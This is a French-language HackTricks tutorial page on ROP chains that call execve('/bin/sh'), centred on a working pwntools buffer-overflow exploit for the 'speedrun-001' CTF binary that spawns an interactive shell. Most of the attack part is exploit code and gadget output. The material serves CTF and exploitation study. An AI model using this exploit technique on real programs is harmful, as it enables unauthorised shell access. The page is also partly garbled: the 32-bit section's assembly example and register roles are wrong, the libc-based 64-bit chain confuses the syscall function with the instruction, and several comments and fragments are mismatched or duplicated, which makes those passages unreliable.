11 KiB
ROP - appel à sys_execve
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Afin de préparer l'appel à syscall, il est nécessaire de configurer ce qui suit :
rax: 59 Spécifie sys_execve
rdi: ptr to "/bin/sh" spécifie le fichier à exécuter
rsi: 0 spécifie qu'aucun argument n'est passé
rdx: 0 spécifie qu'aucune variable d'environnement n'est passée
Ainsi, il est essentiel d'écrire la chaîne /bin/sh
quelque part, puis d'effectuer l'appel à syscall (en prenant en compte le bourrage nécessaire pour contrôler la pile).
Contrôler les registres
Commençons par trouver comment contrôler ces registres :
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
Avec ces adresses, il est possible d'écrire le contenu dans la pile et de le charger dans les registres.
Écrire une chaîne de caractères
Mémoire inscriptible
Tout d'abord, vous devez trouver un endroit inscriptible dans la mémoire.
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Écrire une chaîne de caractères
Ensuite, vous devez trouver un moyen d'écrire un contenu arbitraire à cette adresse.
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
32 bits
Description
Dans les architectures 32 bits, les appels système sont effectués en utilisant l'instruction int 0x80
. Cette instruction déclenche une interruption logicielle qui transfère le contrôle au noyau du système d'exploitation. Les arguments sont passés dans les registres eax
, ebx
, ecx
, edx
, esi
et edi
.
ROP
Pour appeler une fonction du système en utilisant ROP, nous avons besoin de trouver une séquence de gadgets qui nous permettent de charger les arguments dans les registres appropriés et d'appeler l'instruction int 0x80
. Voici un exemple de séquence de gadgets pour appeler la fonction execve("/bin/sh", NULL, NULL)
:
pop esi ; pop ebp ; ret
pop ebx ; ret
mov eax, 0xb ; ret
int 0x80
Cette séquence de gadgets effectue les opérations suivantes :
pop esi ; pop ebp ; ret
: charge l'adresse de la chaîne "/bin/sh" dansesi
.pop ebx ; ret
: chargeebx
avec la valeurNULL
.mov eax, 0xb ; ret
: chargeeax
avec la valeur0xb
, qui correspond à l'appel systèmeexecve
.int 0x80
: déclenche l'interruption logicielle pour appeler la fonction du système.
Exemple
Voici un exemple de code qui utilise cette séquence de gadgets pour appeler la fonction execve("/bin/sh", NULL, NULL)
:
section .data
cmd db "/bin/sh", 0
section .text
global _start
_start:
; Charger l'adresse de la chaîne "/bin/sh" dans esi
pop esi ; pop ebp ; ret
add esi, 0x0a2d2a2d ; xor byte [esi], 0x2d ; ret
; Charger ebx avec la valeur NULL
pop ebx ; ret
xor ebx, ebx
; Charger eax avec la valeur 0xb
mov eax, 0xb
; Appeler l'instruction int 0x80
int 0x80
Ce code charge l'adresse de la chaîne "/bin/sh" dans esi
, charge ebx
avec la valeur NULL
, charge eax
avec la valeur 0xb
, puis appelle l'instruction int 0x80
pour appeler la fonction execve("/bin/sh", NULL, NULL)
.
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 bits
Introduction
Dans les systèmes 64 bits, les appels système sont effectués en utilisant l'instruction syscall
. Cette instruction prend un numéro de service dans le registre rax
et les arguments dans les registres rdi
, rsi
, rdx
, r10
, r8
et r9
. Les valeurs de retour sont stockées dans le registre rax
.
ROP pour exécuter execve("/bin/sh", NULL, NULL)
Pour exécuter /bin/sh
en utilisant execve
, nous avons besoin de mettre l'adresse de la chaîne /bin/sh
dans rdi
, l'adresse NULL dans rsi
et rdx
et le numéro de service execve
dans rax
.
Nous pouvons trouver l'adresse de la chaîne /bin/sh
en utilisant la commande suivante:
$ strings -a -t x /lib/libc.so.6 | grep '/bin/sh'
Cela nous donnera l'adresse de la chaîne /bin/sh
dans la bibliothèque libc.so.6
.
Ensuite, nous avons besoin de trouver l'adresse de l'instruction syscall
. Nous pouvons le faire en utilisant la commande suivante:
$ objdump -d /lib/libc.so.6 | grep syscall
Cela nous donnera l'adresse de l'instruction syscall
dans la bibliothèque libc.so.6
.
Maintenant, nous pouvons construire notre chaîne ROP en utilisant les adresses que nous avons trouvées:
#!/usr/bin/env python2
from pwn import *
libc = ELF('/lib/libc.so.6')
# Find the address of "/bin/sh"
binsh = next(libc.search('/bin/sh'))
# Find the address of the syscall instruction
syscall = libc.symbols['syscall']
# Find the address of the pop rdi; ret gadget
pop_rdi_ret = 0x00000000004006b3
# Find the address of the pop rsi; pop r15; ret gadget
pop_rsi_pop_r15_ret = 0x00000000004006b1
# Find the address of the pop rdx; ret gadget
pop_rdx_ret = 0x0000000000449935
# Build the ROP chain
rop = p64(pop_rdi_ret) + p64(binsh) + p64(pop_rsi_pop_r15_ret) + p64(0) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall)
# Send the ROP chain to the vulnerable program
p = process('./vuln')
p.sendline('A'*40 + rop)
p.interactive()
Conclusion
En utilisant ROP, nous pouvons exécuter des appels système tels que execve
pour exécuter des commandes arbitraires. Cela peut être utile pour obtenir un shell sur une machine cible ou pour effectuer d'autres actions malveillantes.
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Exemple
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Références
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.